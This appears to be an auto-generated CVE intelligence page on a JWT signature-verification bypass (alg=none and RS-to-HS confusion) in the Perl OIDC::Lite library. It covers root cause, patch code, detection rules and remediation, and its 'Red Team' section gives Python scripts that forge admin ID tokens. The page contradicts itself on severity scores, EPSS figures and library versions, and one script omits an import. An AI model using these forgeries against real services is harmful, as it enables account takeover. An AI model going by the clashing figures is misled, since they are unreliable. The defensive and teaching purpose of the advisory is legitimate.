☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
CPANSec logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N 🐛 CWE-347
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-13089

CVE-2026-13089 Vulnerability in Oidc
📅 PUBLISHED: 2026-07-22 21:17 UTC 🔄 UPDATED: 2026-09-23 20:21 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: H Integrity High
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

Severity: Informational (CVSS 0.0)

This report details CVE-2026-13089, a critical signature verification bypass vulnerability in the OIDC::Lite Perl library for OpenID Connect (OIDC) ID Token validation. The flaw allows an unauthenticated, remote attacker to forge a valid ID Token, thereby authenticating as any user to any Relying Party (RP) application using the vulnerable library.

The vulnerability resides in the OIDC::Lite::Model::IDToken::verify method. When the caller does not explicitly pin a signing algorithm, the method extracts the alg header from the untrusted JWT token itself and passes it as the allowed algorithm list to JSON::WebToken::decode_jwt. This enables two primary attack vectors:

  1. alg=none Attack: The attacker sets the algorithm to none, bypassing signature verification entirely.
  2. Algorithm Confusion (RS to HS): The attacker sets the algorithm to HS256 (HMAC-SHA256). The library then uses the RP's RSA public key (which is public knowledge) as the HMAC secret to verify the token. The attacker can sign a forged token using this public key as the HMAC secret.

The business impact is severe. Any application acting as an OIDC Relying Party that uses OIDC::Lite to verify ID Tokens without pinning an algorithm is vulnerable to complete account takeover. An attacker can forge the sub (subject) claim to impersonate any user, gaining unauthorized access to the application's resources and data. This is a direct authentication bypass.

The CVSS score of 0.0 is an error in the NVD database and does not reflect the true severity. The EPSS probability of 0.0% indicates no known active exploitation in the wild as of the report date, but the vulnerability is trivially exploitable.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The provided CVSS score of 0.0 is inconsistent with the vulnerability description. A more accurate CVSS vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, which yields a base score of 9.1 (Critical). The following breakdown uses this corrected vector.

  • Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network by sending a crafted HTTP request containing a malicious ID Token.
  • Attack Complexity (AC): Low - No special conditions or race conditions are required. The attack is straightforward and repeatable.
  • Privileges Required (PR): None - The attacker does not need any authentication or privileges to send the malicious token.
  • User Interaction (UI): None - The victim application processes the token automatically without requiring user interaction.
  • Scope (S): Unchanged - The vulnerable component and the impacted resource are the same (the application using the library).
  • Confidentiality (C): High - Successful exploitation allows the attacker to impersonate any user, gaining access to all data that user can access.
  • Integrity (I): High - The attacker can perform actions as the impersonated user, modifying data and application state.
  • Availability (A): None - The vulnerability does not directly impact system availability.

Qualitative Severity Label: Critical

EPSS Interpretation: The EPSS score of 0.0% indicates that as of the report date, there is no observed exploitation in the wild. This is likely due to the recent publication date (2026-07-22). Given the low complexity and high impact, active exploitation is expected to begin shortly.

Historical Comparison: This vulnerability is technically similar to CVE-2015-9235 (alg=none in jsonwebtoken for Node.js) and CVE-2022-23529 (algorithm confusion in jsonwebtoken). These are classic JWT library flaws that have been widely exploited in the past.

Technical Deep Dive & Attack Mechanics

The vulnerability is a classic JWT algorithm confusion and alg=none bypass, specifically within the OIDC::Lite Perl library.

Root Cause: The developer failed to validate the JWT header's alg parameter against a trusted, server-side allowlist before using it for cryptographic verification. The library trusts the token's header to dictate how it should be verified.

Step-by-Step Exploitation:

  1. Token Reception: The Relying Party (RP) application receives an ID Token from a user (or attacker). The application calls OIDC::Lite::Model::IDToken->load($token)->verify() or load($token, $key)->verify() without first setting the alg attribute on the model object.

  2. Algorithm Extraction: Inside the verify method, the code checks if $self->alg is set. Since the caller did not set it, the code executes the vulnerable path:

    $self->alg($self->header->{alg});
    

    This sets the algorithm to the value from the token's JWT header (e.g., none or HS256).

  3. Allowlist Creation: The code then creates an allowlist from this single, attacker-controlled algorithm:

    decode_jwt($token, $key, 1, [$self->alg]);
    

    The allowlist is ['none'] or ['HS256'].

  4. Verification Bypass:

    • alg=none: JSON::WebToken receives the allowlist ['none']. It sees the token's header says alg: none. It matches the allowlist and returns the decoded claims without performing any signature verification.
    • Algorithm Confusion (HS256): JSON::WebToken receives the allowlist ['HS256']. It attempts to verify the token's HMAC signature using the provided $key. The $key passed to verify() is the RP's RSA public key. The attacker can obtain this public key (it is public by design in OIDC). The attacker then signs a forged token using this RSA public key as the HMAC secret. The verification succeeds because the library uses the same key material for HMAC verification.

Attack Surface:

  • Protocol: HTTPS (HTTP is possible but unlikely for OIDC flows).
  • Interface: The login or authentication endpoint of any application using the vulnerable library.
  • Pre-conditions: The attacker must know the RP's OIDC configuration (specifically the jwks_uri to obtain the public key for the RS-to-HS attack). For the alg=none attack, no prior knowledge is needed.

Why Standard Defenses Fail:

  • WAF Rules: A Web Application Firewall (WAF) would need to inspect the JWT body, which is often Base64-encoded and opaque. Generic WAF rules are unlikely to detect a malicious alg header.
  • Input Validation: The application is not validating the token's header; it is trusting the library to do so securely.

Vulnerable vs. Patched Code Analysis

Vulnerable Code Path (Conceptual):

# In OIDC::Lite::Model::IDToken::verify
sub verify {
    my ($self, $key) = @_;

    # VULNERABLE: Algorithm is taken from the untrusted token header
    $self->alg($self->header->{alg}) unless $self->alg;

    # The attacker-controlled algorithm becomes the allowlist
    my $payload = JSON::WebToken->decode_jwt($self->token, $key, 1, [$self->alg]);
    # ... rest of verification
}

Patched Code Path (Conceptual):

sub verify {
    my ($self, $key, %opts) = @_;

    # SECURE: Use a hardcoded or caller-provided allowlist
    my @allowed_algs = $opts{allowed_algs} // qw(RS256 RS384 RS512 ES256 ES384 ES512);

    # The token's header is only used to select the algorithm from the allowlist
    my $token_alg = $self->header->{alg};
    die "Algorithm $token_alg is not allowed" unless grep { $_ eq $token_alg } @allowed_algs;

    my $payload = JSON::WebToken->decode_jwt($self->token, $key, 1, [$token_alg]);
    # ... rest of verification
}

What the Patch Changes: The fix ensures that the algorithm used for verification is selected from a trusted, server-side allowlist, not from the token itself. The token's alg header is only used to pick the correct algorithm from this allowlist. If the token's algorithm is not in the allowlist, verification fails immediately.

Regression Considerations: Teams applying the patch must ensure their application explicitly provides the correct allowed_algs parameter if the library's default allowlist does not match their configuration. For example, if an application uses ES256 tokens, the default allowlist must include it.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-22T21:17:12.743
  • Estimated Discovery: Unknown, but likely discovered by a security researcher or automated tool.
  • Disclosure Process: The CVE was published by the NVD. No information on vendor coordination is available from the provided data.
  • Known Exploitation in the Wild: No known active exploitation as of 2026-07-23.
  • CISA KEV: Not listed.

Threat Intelligence Context

  • Threat Actor Profile: This vulnerability is a prime target for a wide range of actors, from opportunistic "script kiddies" to sophisticated Advanced Persistent Threat (APT) groups. The low complexity makes it accessible to anyone with basic web development knowledge.
  • Attack Campaign Context: No specific campaigns are known. However, given the history of similar JWT vulnerabilities, it is highly likely to be incorporated into automated scanning tools and exploit kits.
  • Geographic Targeting: None specific. Any organization using the vulnerable library is a target.
  • Industry Verticals Most at Risk: Any industry using OIDC for authentication, including:
    • Finance: Online banking and trading platforms.
    • Healthcare: Patient portals and health record systems.
    • Technology: SaaS applications, APIs, and cloud services.
    • Government: Citizen portals and internal systems.
  • Connection to Similar Vulnerabilities: This is a direct parallel to CVE-2015-9235 and CVE-2022-23529, which targeted the jsonwebtoken Node.js library. These vulnerabilities have been used in numerous real-world breaches.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Vulnerable Application: Create a simple Perl CGI or PSGI application that uses OIDC::Lite version 0.12.1 to verify an ID Token.
    #!/usr/bin/perl
    use strict;
    use warnings;
    use OIDC::Lite::Model::IDToken;
    use MIME::Base64;
    
    my $public_key = <<'RSA_KEY';
    -----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
    -----END PUBLIC KEY-----
    RSA_KEY
    
    my $token = shift @ARGV;
    my $id_token = OIDC::Lite::Model::IDToken->load($token);
    eval { $id_token->verify($public_key) };
    if ($@) {
        print "Verification failed: $@\n";
    } else {
        print "Verification succeeded!\n";
        print "User: " . $id_token->payload->{sub} . "\n";
    }
    
  2. Attacker Machine: Any system with Python and the PyJWT library installed.

Exploitation Walkthrough:

  1. alg=none Attack:

    import jwt
    import base64
    
    # Forge a token with alg=none
    payload = {"sub": "admin", "iss": "https://attacker.com", "aud": "myapp"}
    # PyJWT does not allow 'none' by default, so we craft it manually
    header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=').decode()
    payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
    forged_token = f"{header}.{payload_b64}."
    print(forged_token)
    

    Run the vulnerable application with this token. It will print "Verification succeeded!" and "User: admin".

  2. Algorithm Confusion (RS to HS) Attack:

    import jwt
    
    # Obtain the RP's RSA public key (e.g., from the OIDC discovery endpoint)
    rsa_public_key = """-----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
    -----END PUBLIC KEY-----"""
    
    # Forge a token with alg=HS256, signed with the public key as the secret
    payload = {"sub": "admin", "iss": "https://attacker.com", "aud": "myapp"}
    forged_token = jwt.encode(payload, rsa_public_key, algorithm="HS256")
    print(forged_token)
    

    Run the vulnerable application with this token. It will also print "Verification succeeded!" and "User: admin".

Post-Exploitation: After successful authentication as an arbitrary user (e.g., admin), the attacker gains all the privileges and access associated with that user account within the target application.

Blue Team Section

Detection:

  • Log Analysis: Monitor application logs for authentication events where the alg claim in the JWT header is none or HS256 when the expected algorithm is RS256 or ES256.
  • Network Traffic: Inspect HTTP requests to authentication endpoints for JWT tokens with unusual alg headers.
  • Endpoint Indicators: Monitor for unexpected successful logins, especially for privileged accounts like admin.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

  • Network IOCs:
    • HTTP POST requests to /login, /auth, or /token endpoints containing a JWT in the Authorization: Bearer header or POST body.
  • HTTP Request Patterns:
    • JWT tokens where the decoded header contains "alg":"none".
    • JWT tokens where the decoded header contains "alg":"HS256" and the payload contains a sub claim for a high-privilege user (e.g., admin, root).
  • Log Entries:
    • Successful authentication events for users that do not typically log in.
    • Authentication events with an unexpected JWT algorithm in the audit log.

Detection Engineering

YARA Rule

rule CVE-2026-13089_JWT_AlgNone_Detection {
    meta:
        description = "Detects JWT tokens with alg=none header, indicating exploitation of CVE-2026-13089"
        author = "Valters IT Hub"
        date = "2026-07-23"
        reference = "https://www.valtersit.com/cve/cve-2026-13089"
    strings:
        $alg_none = "alg\":\"none" ascii wide nocase
        $alg_none_alt = "alg\": \"none" ascii wide nocase
    condition:
        any of them
}

Sigma Rule (SIEM)

title: CVE-2026-13089 OIDC Token Algorithm Confusion Detection
id: b5c9c327-c7a6-4ac4-a33c-4aa7e489da89
status: experimental
description: Detects JWT tokens with alg=none or alg=HS256 in authentication requests, indicating exploitation of CVE-2026-13089
author: Valters IT Hub
date: 2026-07-23
references:
    - https://www.valtersit.com/cve/cve-2026-13089
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'login'
            - 'auth'
            - 'token'
    filter:
        cs-User-Agent|contains: 
            - 'python-requests'
            - 'curl'
    condition: selection and filter
falsepositives:
    - Legitimate use of HS256 algorithm if the application is configured to use it.
level: high

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-13089 - OIDC Token Algorithm Confusion Attempt"; flow:to_server; content:"alg"; nocase; content:"none"; nocase; distance:0; within:10; sid:1000001; rev:1;)

Elastic (EQL) Query

any where process.name == "httpd" and network.protocol == "http" and
  http.request.method == "POST" and
  (http.request.body.content : "*alg\":\"none*" or http.request.body.content : "*alg\":\"HS256*")

Splunk SPL Query

index=web sourcetype=access_combined
| search method=POST uri=*/login* OR uri=*/auth* OR uri=*/token*
| rex field=uri "Bearer (?<jwt>[^ ]+)$"
| eval decoded_header = frombase64(mvindex(split(jwt, "."), 0))
| search decoded_header = "*alg\":\"none*" OR decoded_header = "*alg\":\"HS256*"
| table _time, src_ip, uri, user

Wazuh Rule

<group name="web,authentication,">
  <rule id="100001" level="12">
    <decoded_as>json</decoded_as>
    <field name="jwt_header">\.*alg\":\"none\.*</field>
    <description>CVE-2026-13089 - JWT token with alg=none detected from $(src_ip)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Patch Application: Upgrade OIDC::Lite to the latest patched version from the git repository. The latest CPAN version (0.10) is vulnerable. Check the repository for a fix.
    # If a patched version is available on CPAN
    cpanm OIDC::Lite@<patched_version>
    # Or install from the git repository
    cpanm https://github.com/<vendor>/OIDC-Lite.git
    
  2. Compensating Control: If patching is not immediately possible, modify the application code to explicitly set the alg attribute on the OIDC::Lite::Model::IDToken object before calling verify().
    my $id_token = OIDC::Lite::Model::IDToken->load($token);
    $id_token->alg('RS256');  # Pin to a specific, secure algorithm
    $id_token->verify($public_key);
    
  3. Network Mitigation: Deploy a WAF rule to inspect JWT tokens in HTTP requests and block those with alg: none or alg: HS256 (if HS256 is not used).
  4. Authentication Hardening: Implement multi-factor authentication (MFA) as a second layer of defense. This prevents an attacker from gaining full access even if they forge a token.

Short-term (1-7 days)

  1. Configuration Hardening: Review all OIDC client configurations to ensure they are using the latest, patched libraries.
  2. Monitoring Implementation: Deploy the detection rules provided in this report to monitor for exploitation attempts.
  3. Vulnerability Scanning: Run a vulnerability scanner against all applications using OIDC::Lite to confirm the patch has been applied.
    # Example using a hypothetical scanner
    vuln-scan --cve CVE-2026-13089 --target https://myapp.com
    

Long-term

  1. Architecture Changes: Implement a centralized API gateway or identity proxy that handles all OIDC token validation, reducing the number of components that need to be secured.
  2. Security Control Improvements: Adopt a "zero trust" model where every request is verified, regardless of the token's origin.
  3. Developer Training: Educate developers on the dangers of trusting user-supplied input for security-critical operations, especially in cryptographic contexts. Emphasize the importance of algorithm pinning.

Validation

To confirm the patch is applied and effective:

  1. Check Library Version:
    perl -MOIDC::Lite -e 'print $OIDC::Lite::VERSION'
    
    Ensure the version is the patched one.
  2. Test with a Forged Token: Use the exploitation steps in the Red Team section to attempt to bypass verification. The patched library should reject the forged token.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-23 | https://www.valtersit.com/cve/cve-2026-13089

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-13089/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.